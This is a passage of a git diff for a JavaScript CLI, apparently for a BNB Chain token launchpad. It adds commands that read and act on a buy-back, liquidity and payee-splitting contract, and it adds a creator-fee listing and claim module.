raw.preview ?? [false, false, 0n, 0n] + let waiting = null + if (!ready) { + waiting = !token ? 'not bound to a token yet (gang combo bind --token )' + : raw.graduated === false ? 'the token has not graduated: chunks start once it trades in its PancakeSwap pair (the pool tax starts then too)' + : !kind ? 'nothing set aside for a buy-back or liquidity chunk yet: it fills as the tax arrives' + : last > 0 && now < last + CHUNK_GAP_S ? `one chunk per 4 minutes (both kinds together): the next from ${iso(last + CHUNK_GAP_S)}` + : 'the price check: a 10-minute average of the pair\'s price (the next call records it, if none is running) and a price no more than 2% above it' + } + const nextChunk = ready + ? burn + ? { kind: 'buy-back', quoteIn: q18(amount), tokensBurned: formatUnits(tokensOut, 18) } + : { kind: 'liquidity', quoteChunk: q18(amount), buyHalf: q18(amount / 2n), tokensBought: formatUnits(tokensOut, 18) } + : { kind, ready: false } + + const next = [] + const assets = [] + for (const a of raw.assets ?? []) { + const owedTotal = a.owedTotal ?? 0n + const undistributed = a.undistributed ?? 0n + if (!isQuote(a.asset) && undistributed === 0n && owedTotal === 0n) continue + const f = (x) => formatUnits(x, a.decimals ?? 18) + const owed = owedTotal > 0n && a.owed + ? a.owed.map((x, index) => ({ index, payee: raw.payees[index], amount: f(x) })).filter((_, i) => a.owed[i] > 0n) : [] + const byKeeper = isQuote(a.asset) && raw.keeperServesQuote + assets.push({ + asset: a.asset, symbol: a.symbol ?? null, ...(isQuote(a.asset) && { boundQuote: true }), + undistributed: f(undistributed), owedTotal: f(owedTotal), ...(owed.length && { owed }), + splitBy: !token ? 'nobody until bound (distribute reverts NotBound)' + : byKeeper ? 'keeper (or anyone, gang combo distribute)' + : isQuote(a.asset) ? 'hand: gang combo distribute (anyone)' + : `hand: gang combo distribute (anyone): ${payees.length ? `${(bbBps + lpBps) / 100}% to 0xdead, the rest to the payees` : 'all of it to 0xdead'}`, + }) + if (token && undistributed > 0n && !byKeeper) next.push(`gang combo distribute ${ref} --asset ${a.asset}`) + for (const o of owed) next.push(`gang combo release ${ref} --asset ${a.asset} --index ${o.index}`) + } + if (!token) next.unshift(String(ref ?? '').startsWith('--token ') ? `gang combo bind ${ref}` : 'gang combo bind --token ') + if (ready) next.push(`gang combo chunk ${ref}`) + + const sym = (assets.find((x) => x.boundQuote)?.symbol) || raw.quoteSymbol || quote + const distribution = !token ? 'unbound' : raw.keeperServesQuote ? 'keeper' : 'manual' + const keeperLine = distribution === 'unbound' + ? 'Not bound to a token yet: nothing is split, bought back or added until gang combo bind --token ' + : distribution === 'keeper' + ? `The keeper serves this quote (${sym}): it runs the chunks and pays the payees (once their part reaches 0.05% of the pair's quote reserve, or after a day once it reaches 1/100 of that); anyone can do it sooner (gang combo chunk / gang combo distribute)` + : `The keeper does not serve this quote (${sym}): everything is manual — gang combo chunk and gang combo distribute (anyone)` + const [due, minOut] = raw.work ?? [false, 0n] + const parts = comboParts(bbBps, lpBps, payees.length) + return { + module: raw.module, moduleType: COMBO_TYPE, dev: raw.dev, token, quote, ...(quote && sym && { quoteSymbol: sym }), + buybackPct: bbBps / 100, lpPct: lpBps / 100, payeesPct: rest / 100, buybackBps: bbBps, lpBps, permanent: true, + payees, + buybackLeft: q18(raw.buybackLeft), lpLeft: q18(raw.lpLeft), unsplit: q18(unsplit), + nextChunk, ...(waiting && { nextChunkWaitsFor: waiting }), + lastChunkAt: iso(last), lastPaidAt: iso(raw.lastPaidAt ?? 0n), + distribution, + keeper: { + servesQuote: token ? !!raw.keeperServesQuote : null, due: !!due, + ...(due && { plan: decodeWorkPlan(minOut) }), + }, + assets, + ...(next.length && { next }), + parts, + note: `${PERMANENT_NOTE}. ${keeperLine}. A failed payee push is owed to that slot and paid with its next push, or by gang combo release`, + } +} + +/** Reads `asset`'s side of the module; null when it is not an ERC20 the module can read. */ +async function assetRaw(read, module, asset, n) { + let undistributed, owedTotal + try { + [undistributed, owedTotal] = await Promise.all([ + read(module, COMBO_ABI, 'undistributed', [asset]), read(module, COMBO_ABI, 'owedTotal', [asset]), + ]) + } catch { return null } + const [symbol, decimals, owed] = await Promise.all([ + read(asset, ERC20_ABI, 'symbol').catch(() => null), + read(asset, ERC20_ABI, 'decimals').then(Number).catch(() => 18), + owedTotal > 0n ? Promise.all(Array.from({ length: n }, (_, i) => read(module, COMBO_ABI, 'owedOf', [asset, BigInt(i)]))) : null, + ]) + return { asset, symbol, decimals, undistributed, owedTotal, owed } +} + +/** + * The module's state when `addr` is a GangComboSplitter (combo-v1); null when it is not. Assets read: the bound quote, + * WBNB, the module's GANG and `extraAssets` (e.g. the quote of a token paying it that is not the bound one). `pad`: to + * read graduation. + */ +export async function comboOf(read, addr, { wbnb, pad, extraAssets = [], ref } = {}) { + if (!addr || addr === zeroAddress) return null + let type + try { type = await read(addr, COMBO_ABI, 'moduleType') } catch { return null } + if (hexToString(type, { size: 32 }).replace(/\0+$/, '') !== COMBO_TYPE) return null + const [dev, token, quote, [payees, shares], buybackBps, lpBps, buybackLeft, lpLeft, unsplit, lastChunkAt, lastPaidAt, gangQuote] = await Promise.all([ + ...['dev', 'token', 'quote', 'payeesOf', 'buybackBps', 'lpBps', 'buybackLeft', 'lpLeft', 'unsplit', 'lastChunkAt', 'lastPaidAt'].map((f) => read(addr, COMBO_ABI, f)), + read(addr, COMBO_ABI, 'gangQuote').catch(() => zeroAddress), + ]) + const bound = token !== zeroAddress + const [preview, work, keeperServesQuote, graduated] = await Promise.all([ + bound ? read(addr, COMBO_ABI, 'previewChunk').catch(() => null) : null, + bound ? read(addr, COMBO_ABI, 'previewWork').catch(() => null) : null, + bound ? read(addr, COMBO_ABI, 'keeperServes', [quote]).catch(() => false) : false, + bound && pad ? read(pad, PAD_ABI, 'curves', [token]).then((c) => c[6]).catch(() => null) : null, + ]) + const seen = new Set() + const list = [quote, wbnb, gangQuote, ...extraAssets].filter((a) => { + if (!a || a === zeroAddress || seen.has(a.toLowerCase())) return false + seen.add(a.toLowerCase()) + return true + }) + const assets = (await Promise.all(list.map((a) => assetRaw(read, addr, a, payees.length)))).filter(Boolean) + return formatCombo({ + module: addr, dev, token, quote, buybackBps, lpBps, payees, shares, buybackLeft, lpLeft, unsplit, lastChunkAt, lastPaidAt, + keeperServesQuote, preview, work, graduated, assets, + }, ref ?? (bound ? `--token ${token}` : `--module ${addr}`)) +} + +/** When `token` pays its tax to the combo but the combo is bound to another token (a decoy bind): what to say. */ +export function decoyWarning(s, token, tokenQuote, ref) { + if (!token || !s.token || s.token.toLowerCase() === token.toLowerCase()) return null + return `this token pays its tax to the combined recipient, but it is bound to another token (${s.token}): the buy-backs and liquidity go to that token's pair, and this token's tax (${tokenQuote ?? 'its quote'}) is not its bound quote — it is only distributed by hand (gang combo distribute ${ref} --asset ${tokenQuote ?? ''}): its buy-back + LP share to 0xdead, the rest to the payees` +} + +function comboCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +const SUBS = ['status', 'distribute', 'release', 'set-payee', 'bind', 'chunk'] +const USAGE = 'usage: gang combo --token (or --module ) [--asset |wbnb] [--index ] [--to ] [--max ] [--slippage 1] [--testnet] — see gang help' + +/** `gang combo `: the combined recipient of a V3 token (its tax recipient), found from --token (or named by --module). */ +export async function runCombo(sub, { opt, flag, out, fail, summarize }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const rawOnly = flag('calldata') + let ctx + try { ctx = comboCtx(testnet) } catch (e) { return fail(e.message) } + const chainId = Number(ctx.chainId) + const tn = testnet ? ' --testnet' : '' + if (flag('token') && flag('module')) fail('give --token (its tax recipient is the combined recipient) or --module, not both') + let token = null, module, tokenQuote = null, padKnown = true + if (flag('module')) { + if (sub === 'bind') fail('gang combo bind needs --token (it binds the token\'s own recipient)') + module = opt('module') + if (!isAddress(module ?? '')) fail('--module must be a combined recipient address (0x…)', { got: module ?? null }) + // the module's own generation: any other pad answers curves() of its token with zeros, which reads as "not graduated" + const pad = await ctx.read(module, COMBO_ABI, 'pad').catch(() => null) + padKnown = !!pad && atPad(ctx, pad, testnet) + } else { + token = opt('token') + if (!isAddress(token ?? '')) fail('--token must be a V3 token address (0x…), or name the module with --module ', { got: token ?? null }) + if ((await atTokenPad(ctx, token)) === null) return fail(KIND_UNREAD.error, { token, retry: KIND_UNREAD.retry }) // else on the pad of the token's generation + try { + const [creator, quote] = await ctx.read(ctx.pad, PAD_ABI, 'curves', [token]) + if (creator === zeroAddress) throw new Error('not a curve') + tokenQuote = quote + module = (await ctx.read(ctx.pad, PAD_ABI, 'taxConfigOf', [token]))[3] + } catch { + return fail(`not a V3 token on this pad (${testnet ? 'BSC testnet' : 'BSC mainnet; add --testnet for a testnet token'})`, { token, chainId }) + } + } + const ref = `${token ? `--token ${token}` : `--module ${module}`}${tn}` + // status --asset : read that asset too (a stray one the default list doesn't cover) + const extra = sub === 'status' && flag('asset') && isAddress(opt('asset') ?? '') ? [getAddress(opt('asset'))] : [] + const s = await comboOf(ctx.read, module, { + wbnb: ctx.wbnb, pad: padKnown ? ctx.pad : null, extraAssets: [...(tokenQuote && tokenQuote !== zeroAddress ? [tokenQuote] : []), ...extra], ref, + }) + if (!s) { + return fail(token ? 'this token\'s tax recipient is not a combined recipient (combo-v1)' : 'not a combined recipient (combo-v1)', + { ...(token && { token }), recipient: module === zeroAddress ? null : module }) + } + const warning = decoyWarning(s, token, tokenQuote, ref) + const me = () => walletFor(ctx, opt('from')) + const send = async (functionName, args, extra) => { + const sim = await simulateCombo(ctx.client, me(), s.module, COMBO_ABI, functionName, args) + if (sim.failed) return out({ success: false, step: extra.step, ...sim.failed, ...(warning && { warning }) }) + const data = encodeFunctionData({ abi: COMBO_ABI, functionName, args }) + // no gas field: the wallet / node estimates it (COMBO_GAS_NOTE) + return out(step(ctx, { from: me(), to: s.module, data }, { chainId, ...(token && { token }), module: s.module, ...extra, ...(warning && { warning }) }, rawOnly, summarize)) + } + const assetArg = (def) => { + if (!flag('asset')) return def + const a = opt('asset') + if (/^wbnb$/i.test(a ?? '')) return ctx.wbnb + if (!isAddress(a ?? '') || a === zeroAddress) fail('--asset must be a token address (0x…, checksummed or all lowercase) or wbnb', { got: a ?? null }) + return getAddress(a) + } + const assetState = async (asset) => { + const known = s.assets.find((x) => x.asset.toLowerCase() === asset.toLowerCase()) + const r = await assetRaw(ctx.read, s.module, asset, s.payees.length) + if (!r) fail('the module cannot read that asset\'s balance (not an ERC20?)', { asset }) + return { ...r, symbol: r.symbol ?? known?.symbol ?? null, f: (x) => formatUnits(x, r.decimals) } + } + const needBound = () => { + if (!s.token) fail(HINTS.NotBound, { module: s.module, ...(token && { next: `gang combo bind --token ${token}${tn}` }) }) + } + /** `amount` split among the payees as the contract does: the others rounded down, the first the rest. */ + const payeeParts = (amount, f) => { + if (!s.payees.length) return [] + const amounts = s.payees.map((p) => (amount * BigInt(p.bps)) / BigInt(BPS)) + amounts[0] = amount - amounts.slice(1).reduce((x, y) => x + y, 0n) + return s.payees.map((p, i) => ({ index: p.index, payee: p.payee, pctOfRest: p.pctOfRest, gets: f(amounts[i]) })) + } + + if (sub === 'status') return out({ success: true, chainId, ...s, ...(s.token === null && { bound: false }), ...(warning && { warning }) }) + + if (sub === 'bind') { + if (s.token) return fail('already bound', { boundTo: s.token, ...(warning && { warning }) }) + return send('bind', [token], { step: 'bind', note: 'anyone may bind (once); the token must be the dev\'s and pay its tax to this module. It decides which quote is split and which pair the buy-backs and liquidity go to' }) + } + + if (sub === 'distribute') { + needBound() + const asset = assetArg(s.quote) + const a = await assetState(asset) + if (a.undistributed === 0n) { + return fail('nothing of this asset is waiting to be split', { + asset, symbol: a.symbol, owedTotal: a.f(a.owedTotal), + ...(a.owedTotal > 0n && { hint: `what is held is owed to payees after failed pushes: gang combo release ${ref} --asset ${asset} --index ` }), + }) + } + const bb = BigInt(s.buybackBps), lpb = BigInt(s.lpBps) + if (asset.toLowerCase() === s.quote.toLowerCase()) { + const toBuyback = (a.undistributed * bb) / 10_000n, toLp = (a.undistributed * lpb) / 10_000n + const toPayees = s.payees.length ? a.undistributed - toBuyback - toLp : 0n + return send('distribute', [asset], { + step: 'distribute', asset, symbol: a.symbol, boundQuote: true, amount: a.f(a.undistributed), + toBuyback: a.f(toBuyback), toLp: a.f(toLp), toPayees: a.f(toPayees), parts: payeeParts(toPayees, a.f), + note: `anyone may: splits the bound quote that arrived (as split()): ${s.buybackPct}% set aside for buy-back, ${s.lpPct}% for liquidity, the rest pushed to the payees; a push that fails is owed to that slot. Gas: ${COMBO_GAS_NOTE}`, + }) + } + const toDead = s.payees.length ? (a.undistributed * (bb + lpb)) / 10_000n : a.undistributed + const rest = a.undistributed - toDead + return send('distribute', [asset], { + step: 'distribute', asset, symbol: a.symbol, amount: a.f(a.undistributed), toDead: a.f(toDead), toPayees: a.f(rest), + parts: payeeParts(rest, a.f), + note: `anyone may: this is not the bound quote, so it cannot be bought back or added to the pool: ${s.payees.length ? `its buy-back + LP share (${(s.buybackBps + s.lpBps) / 100}%) goes to 0xdead, the rest to the payees at their shares` : 'all of it goes to 0xdead (no payees)'}; a push that fails is owed to that slot. Gas: ${COMBO_GAS_NOTE}`, + }) + } + + if (sub === 'release') { + needBound() + if (!s.payees.length) return fail('this combined recipient has no payees (buy-back + LP = 100%): nothing is ever owed') + const asset = assetArg(s.quote) + const a = await assetState(asset) + let index + if (flag('index')) index = indexArg(opt('index'), s.payees.length, fail) + else { + const mine = s.payees.find((p) => p.payee.toLowerCase() === String(me()).toLowerCase()) + const owedSlots = (a.owed ?? []).map((x, i) => (x > 0n ? i : -1)).filter((i) => i >= 0) + if (mine) index = mine.index + else if (owedSlots.length === 1) index = owedSlots[0] + else fail('--index required: which payee slot to pay (gang combo status lists what each is owed)', { owedSlots }) + } + const owed = a.owed ? a.owed[index] : 0n + if (owed === 0n) return fail(HINTS.NothingOwed, { asset, symbol: a.symbol, index, payee: s.payees[index].payee }) + let max = maxUint256 + if (flag('max')) max = parseUnits(parseAmount(fail, 'max', opt('max')), a.decimals) + const amount = owed < max ? owed : max + return send('release', [asset, BigInt(index), max], { + step: 'release', asset, symbol: a.symbol, index, payee: s.payees[index].payee, amount: a.f(amount), owed: a.f(owed), + note: `anyone may: splits what newly arrived of this asset first, then pushes ${max === maxUint256 ? 'all' : 'up to --max'} of what this slot is owed to its payee (reverts while it still cannot receive; nothing owed is lost). Gas: ${COMBO_GAS_NOTE}`, + }) + } + + if (sub === 'chunk') { + needBound() + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + const [ready, burn, amount, tokensOut] = await ctx.read(s.module, COMBO_ABI, 'previewChunk') + if (ready) { + // previewChunk prices the buy (a liquidity chunk: its half) after the buy tax; the contract scales the minimum + // down when the pair got less + const minOut = (tokensOut * BigInt(Math.round((100 - slippage) * 100))) / 10_000n + return send('chunk', [minOut], burn + ? { + step: 'chunk', kind: 'buy-back', quoteIn: q18(amount), expectTokensBurned: formatUnits(tokensOut, 18), + minTokens: formatUnits(minOut, 18), slippagePct: slippage, buybackLeft: s.buybackLeft, lpLeft: s.lpLeft, + note: `anyone may: splits what arrived, then one buy-back chunk (the larger set-aside part): buys the token in the pair and burns it at 0xdead (gang tx shows BoughtBack). The keeper does the same every few minutes. Gas: ${COMBO_GAS_NOTE}`, + } + : { + step: 'chunk', kind: 'liquidity', quoteChunk: q18(amount), buyHalf: q18(amount / 2n), expectTokensBought: formatUnits(tokensOut, 18), + minTokens: formatUnits(minOut, 18), slippagePct: slippage, buybackLeft: s.buybackLeft, lpLeft: s.lpLeft, + note: `anyone may: splits what arrived, then one liquidity chunk (the larger set-aside part): half buys the token, all of it goes back into the pair with the matching quote, the LP to 0xdead (gang tx shows LiquidityAdded). The keeper does the same every few minutes. Gas: ${COMBO_GAS_NOTE}`, + }) + } + // not ready: only a call that records the price observation can pass; a minimum no chunk can meet makes it revert + // (Slippage) rather than trade unchecked if a chunk became possible before it lands + const sim = await simulateCombo(ctx.client, me(), s.module, COMBO_ABI, 'chunk', [maxUint128]) + if (sim.failed) return out({ success: false, step: 'chunk', ...sim.failed, ...(s.nextChunkWaitsFor && { waitsFor: s.nextChunkWaitsFor }), buybackLeft: s.buybackLeft, lpLeft: s.lpLeft, ...(warning && { warning }) }) + return send('chunk', [maxUint128], { + step: 'record-price', trades: false, waitsFor: s.nextChunkWaitsFor, + note: 'no chunk this time: the call splits what arrived and records the pair\'s price observation (or waits for the 10-minute average / a price no more than 2% above it). The keeper calls it too. If a chunk becomes possible before it lands, it reverts (Slippage) rather than trade without a minimum: run gang combo chunk again then, about 10 minutes after the first observation', + }) + } + + // set-payee: only the slot's own payee; the index is the wallet's own slot unless given + if (!s.payees.length) return fail('this combined recipient has no payees (buy-back + LP = 100%)') + const wallet = String(me()).toLowerCase() + const mine = s.payees.find((p) => p.payee.toLowerCase() === wallet) + let index + if (flag('index')) index = indexArg(opt('index'), s.payees.length, fail) + else if (mine) index = mine.index + else return fail('this wallet is not a payee of this combined recipient: only a slot\'s own payee can move it', { wallet: me(), payees: s.payees.map((p) => p.payee) }) + const slot = s.payees[index] + if (slot.payee.toLowerCase() !== wallet) return fail(HINTS.NotPayee, { index, payee: slot.payee, wallet: me() }) + const to = opt('to') + if (!isAddress(to ?? '') || to === zeroAddress) fail('--to <0x…> required (checksummed or all lowercase): the address this slot is paid to from now on', { got: to ?? null }) + if (to.toLowerCase() === s.module.toLowerCase()) return fail(HINTS.BadPayee, { to }) + const taken = s.payees.find((p) => p.payee.toLowerCase() === to.toLowerCase()) + if (taken) return fail(taken.index === index ? 'that is this slot\'s payee already' : HINTS.DuplicatePayee, { to, index: taken.index }) + // the contract splits only the bound quote before the move: other assets that arrived would go to the new address, + // so split those first (each its own tx, then the same command again); needs the module bound (NotBound before) + const unsplit = s.token ? s.assets.filter((x) => !x.boundQuote && Number(x.undistributed) > 0) : [] + if (unsplit.length) { + const first = unsplit[0] + return send('distribute', [first.asset], { + step: 'distribute-first', asset: first.asset, symbol: first.symbol, amount: first.undistributed, + ...(unsplit.length > 1 && { thenAlso: unsplit.slice(1).map((x) => ({ asset: x.asset, symbol: x.symbol, amount: x.undistributed })) }), + note: `before the move: ${first.symbol || first.asset} that arrived earlier is distributed to the current payees (and its buy-back + LP share to 0xdead); the contract splits only the bound quote itself. After executing, re-run the same command. Gas: ${COMBO_GAS_NOTE}`, + }) + } + return send('setPayee', [BigInt(index), getAddress(to)], { + step: 'set-payee', index, pctOfRest: slot.pctOfRest, fromPayee: slot.payee, toPayee: getAddress(to), + note: `applies at once; the share (${slot.pctOfRest}% of the rest) stays with the slot. The bound quote that arrived before is split first (to the current address); what this slot is owed (any asset) goes to the new one. The ratios and the other slots stay as they are (fixed for good). Gas: ${COMBO_GAS_NOTE}`, + }) +} + +function indexArg(raw, n, fail) { + const i = Number(raw) + if (!Number.isInteger(i) || i < 0 || i >= n) fail(`--index must be a payee slot: the contract's 0-based index, 0 to ${n - 1} (gang combo status lists them)`, { got: raw ?? null }) + return i +} diff --git a/src/creatorfee.js b/src/creatorfee.js new file mode 100644 index 0000000..41553cd --- /dev/null +++ b/src/creatorfee.js @@ -0,0 +1,262 @@ +import { createPublicClient, encodeFunctionData, hexToString, isAddress, parseAbi, zeroAddress } from 'viem' +import { revertOf as revertIn, step, units } from './steps.js' +import { atTokenPad, CREATOR_FEE_ABI, creatorFeeShareOf, NOT_ON_MAINNET, padNets, rpcTransport } from './gangpad.js' +import { walletFor } from './fair.js' + +/** + * `gang creator-fee` — the GangLaunchpad 2.0 creator fee (docs/SPEC-CURVE-CREATOR-FEE-2026-10-31.md): of the 1% fee on + * each V3 curve buy and sell, 70% is kept on the pad for the token's creator (`creatorFeeOf`), the rest goes to the + * platform. The creator claims it with `claimCreatorFee(token, to)`, to any address, before or after graduation, with no + * deadline. It is the creating wallet's own: it never goes to the tax recipient, a buy-back splitter, a split module or + * an LP splitter. 打新 sales and 1.0 pads have none (on 1.0 the whole curve fee is the platform's). + */ + +const CURVES_ABI = parseAbi([ + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', + 'function tokenCount() view returns (uint256)', + 'function allTokens(uint256) view returns (address)', + 'function kindOf(address token) view returns (uint8)', + 'error ZeroAmount()', 'error ZeroAddress()', 'error UnknownToken()', +]) +const SYMBOL_ABI = parseAbi(['function symbol() view returns (string)']) +const MODULE_TYPE_ABI = parseAbi(['function moduleType() view returns (bytes32)']) +const QUOTE_ABI = parseAbi(['function quote() view returns (address)']) +const ABIS = [CREATOR_FEE_ABI, CURVES_ABI] +const HINTS = { + NotCreator: 'only the token\'s creator (the wallet that created it) can claim its creator fee; pass that wallet with --from', + ZeroAmount: 'nothing to claim yet: the creator fee grows with each curve buy and sell', + ZeroAddress: '--to cannot be the zero address or the pad itself', + UnknownToken: 'not a V3 curve token of this pad (打新 sales have no creator fee)', +} +const revertOf = (e) => revertIn(e, ABIS, HINTS) + +// a scan reads at most this many of a pad's newest tokens, in multicall batches of BATCH +const MAX_SCAN = 5000 +const BATCH = 400 + +export const claimCmd = (token, net = '') => `gang creator-fee --token ${token}${net} --claim` +const same = (a, b) => !!a && !!b && a.toLowerCase() === b.toLowerCase() +const pctOf = (bps) => bps / 100 + +/** A ctx on the create target of `testnet` / mainnet, with every generation in ctx.gens. */ +export function creatorFeeCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +/** What a V3 create on ctx.pad says about the creator fee, or null when that pad has none (1.0). */ +export async function createNote(ctx, net = '') { + let share + try { share = await creatorFeeShareOf(ctx) } catch { + return `could not read whether this pad keeps a creator fee (RPC error); gang creator-fee${net} shows it once the token is out` + } + if (share == null) return null + return `${pctOf(share)}% of the 1% curve fee on every curve buy and sell (until graduation) is kept on the pad for you, the creator. Claim it any time, before or after graduation: gang creator-fee${net} lists it, gang creator-fee --token ${net} --claim [--to ] claims it.` +} + +/** + * What pays out a fee claimed into a module, by its moduleType(): the buy-back and LP splitters pay their payee only + * when they split (the keeper's chunks do it after graduation), the split module and the combined recipient on + * distribute. null: not one of these. + */ +export function payOutCmd(moduleType, at, net = '', { asset, assetSymbol } = {}) { + const t = String(moduleType ?? '') + const base = t.startsWith('buyback-burn-') ? 'gang buyback' : t === 'lp-burn-v1' ? 'gang lp' + : t === 'split-v1' ? 'gang split' : t === 'combo-v1' ? 'gang combo' : null + if (!base) return null + const splitter = base === 'gang buyback' || base === 'gang lp' + const m = `--module ${at ?? ''}` + // a fee in another quote than the module's own: split / distribute of the bound quote never moves it + if (asset) { + return splitter + ? `${base} sweep ${m} --asset ${asset}${net} (anyone) sends all of it to the payee (${assetSymbol ?? 'this asset'} is not split: no ${base === 'gang lp' ? 'pool' : 'buy-back'} share)` + : `${base} distribute ${m} --asset ${asset}${net} (anyone) pays the payees their shares of it` + } + return `${base} ${splitter ? 'split' : 'distribute'} ${m}${net} (anyone) then pays ${splitter ? 'the payee its part and sets the rest aside' : 'the payees their shares'}` + + (splitter ? '; after graduation each keeper chunk splits first, so it also goes out with the next chunk' : '') +} + +/** + * The claim's --to note when --to is a module (pure: unit-tested): `bound` is its quote() (zero: not bound yet), + * `quote` the token's. { payOut, warning }: a fee in another quote is not moved by split / distribute. + */ +export function claimToModule({ moduleType, at, net = '', bound, quote, quoteSymbol, boundSymbol }) { + const other = !!bound && !!quote && bound.toLowerCase() !== quote.toLowerCase() + const unbound = !bound || /^0x0{40}$/.test(bound) + const payOut = payOutCmd(moduleType, at, net, other && !unbound ? { asset: quote, assetSymbol: quoteSymbol } : {}) + if (!payOut) return { payOut: null, warning: null } + if (unbound) return { payOut, warning: 'the module is not bound to a token yet: it pays this out only once it is bound (its launch binds it)' } + if (!other) return { payOut, warning: null } + return { + payOut, + warning: `the module's own quote is ${boundSymbol ?? bound}, this fee is in ${quoteSymbol ?? quote}: split / distribute of the module's quote leave it where it is`, + } +} +const LAUNCH_TYPES = { buyback: 'buyback-burn-v4', lp: 'lp-burn-v1', split: 'split-v1', combo: 'combo-v1' } + +/** Added to the create's note when the tax recipient is one of the dev's modules (`module`: its name; `kind`: buyback | lp | split | combo). */ +export const notThroughModule = (module, { token, at, net = '', kind } = {}) => + `This creator fee is yours, the creating wallet's: it does not go through the ${module}, which gets only the recipient's part of the pool tax after graduation.` + + (at ? ` To put it into the ${module} anyway, claim it there: gang creator-fee --token ${token ?? ''}${net} --claim --to ${at}` : '') + + (at && kind && LAUNCH_TYPES[kind] ? `; ${payOutCmd(LAUNCH_TYPES[kind], at, net)}` : '') + +/** + * The creator fee of a V3 curve `token` on ctx.pad (ctx already on the token's generation) for info / status: + * { padGen, creatorFee } — creatorFee null on a 1.0 pad. + */ +export async function curveCreatorFee(ctx, token, { creator, quote }, net = '') { + let share, owed + try { + share = await creatorFeeShareOf(ctx) + if (share != null) owed = await ctx.read(ctx.pad, CREATOR_FEE_ABI, 'creatorFeeOf', [token]) + } catch (e) { + // an RPC error leaves the field out of this answer rather than failing the whole info / status + return { padGen: ctx.gen, creatorFee: { error: `could not read the creator fee (${e.shortMessage || e.message.split('\n')[0]})`, retry: `gang creator-fee --token ${token}${net}` } } + } + const padGen = ctx.gen ?? (share == null ? '1.0' : '2.0') + if (share == null) return { padGen, creatorFee: null } + return { + padGen, + creatorFee: { + sharePct: pctOf(share), creator, claimable: await units(ctx, quote, owed), claimableRaw: owed.toString(), + ...(owed > 0n && { claim: `${claimCmd(token, net)} (the creator only)` }), + note: `${pctOf(share)}% of the 1% curve fee of each curve buy and sell is kept for the creator, apart from the pool tax and its recipient; the creator claims it any time`, + }, + } +} + +/** + * Every 2.0 / 3.0 curve token `creator` created on this network, newest first, with what it can claim: { tokens, totals, + * scanned }. Read on chain (each such pad's allTokens, in multicall batches), so it works without gang.fun's index. + */ +export async function creatorFeeList(ctx, creator) { + const tokens = [] + const scanned = [] + let unread = 0 // tokens whose row could not be read + for (const g of ctx.gens) { + const share = await creatorFeeShareOf(ctx, g.pad) + if (share == null) continue + const n = Number(await ctx.read(g.pad, CURVES_ABI, 'tokenCount')) + const take = Math.min(n, MAX_SCAN) + scanned.push({ padGen: g.gen ?? '2.0', pad: g.pad, tokens: n, read: take }) + const call = (functionName, args) => ({ address: g.pad, abi: functionName === 'creatorFeeOf' ? CREATOR_FEE_ABI : CURVES_ABI, functionName, args }) + // one eth_call per batch (viem would split it into 1 KB calls), and a row that fails is skipped, not the whole scan + const multi = (contracts, allowFailure = true) => ctx.client.multicall({ contracts, allowFailure, batchSize: 0 }) + for (let from = 0; from < take; from += BATCH) { + const idx = Array.from({ length: Math.min(BATCH, take - from) }, (_, i) => BigInt(n - 1 - from - i)) + const addrs = await multi(idx.map((i) => call('allTokens', [i])), false) + const curves = await multi(addrs.map((t) => call('curves', [t]))) + unread += curves.filter((c) => c.status !== 'success').length + const mine = addrs.map((t, i) => ({ t, c: curves[i].result })).filter(({ c }) => c && same(c[0], creator)) + if (!mine.length) continue + const owedOf = await multi(mine.map(({ t }) => call('creatorFeeOf', [t]))) + const syms = await multi(mine.flatMap(({ t, c }) => [{ address: t, abi: SYMBOL_ABI, functionName: 'symbol' }, { address: c[1], abi: SYMBOL_ABI, functionName: 'symbol' }])) + for (const [i, { t, c }] of mine.entries()) { + if (owedOf[i].status !== 'success') { unread++; continue } + const owed = [owedOf[i].result] + tokens.push({ + token: t, symbol: syms[2 * i].result ?? null, quote: c[1], quoteSymbol: syms[2 * i + 1].result ?? null, graduated: c[6], + padGen: g.gen ?? '2.0', claimable: await units(ctx, c[1], owed[0]), claimableRaw: owed[0], + }) + } + } + } + // per quote: what all of them add up to + const sums = new Map() + for (const x of tokens) { + const k = x.quote.toLowerCase() + sums.set(k, { quote: x.quote, quoteSymbol: x.quoteSymbol, raw: (sums.get(k)?.raw ?? 0n) + x.claimableRaw }) + } + const totals = await Promise.all([...sums.values()].map(async (s) => ({ quote: s.quoteSymbol ?? s.quote, claimable: await units(ctx, s.quote, s.raw) }))) + return { + tokens: tokens.map((x) => ({ ...x, claimableRaw: x.claimableRaw.toString() })), totals, scanned, + ...(unread && { unreadNote: `${unread} token(s) could not be read (RPC); run it again to include them` }), + } +} + +const USAGE = 'usage: gang creator-fee [--token ] [--from ] [--claim [--to ]] [--testnet] — see gang help' + +/** Entry for `gang creator-fee`. io: { opt, flag, out, fail, summarize } from index.js. */ +export async function runCreatorFee({ opt, flag, out, fail, summarize }) { + const testnet = flag('testnet') + const net = testnet ? ' --testnet' : '' + const rawOnly = flag('calldata') + if (flag('to') && !flag('claim')) fail('--to goes with --claim (where the claimed fee is sent)') + if (flag('claim') && !flag('token')) fail('--claim needs --token : one token per claim (gang creator-fee lists them)') + let ctx + try { ctx = creatorFeeCtx(testnet) } catch (e) { return fail(e.message) } + const chainId = Number(ctx.chainId) + + if (flag('from') && !isAddress(opt('from') ?? '')) fail('--from must be a 0x address (checksummed or all lowercase)', { got: opt('from') ?? null }) + if (!flag('token')) { + const me = walletFor(ctx, opt('from')) + const r = await creatorFeeList(ctx, me) + if (!r.scanned.length) { + return out({ + success: true, chainId, creator: me, tokens: [], totals: [], + note: `GangLaunchpad 2.0 is not on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} 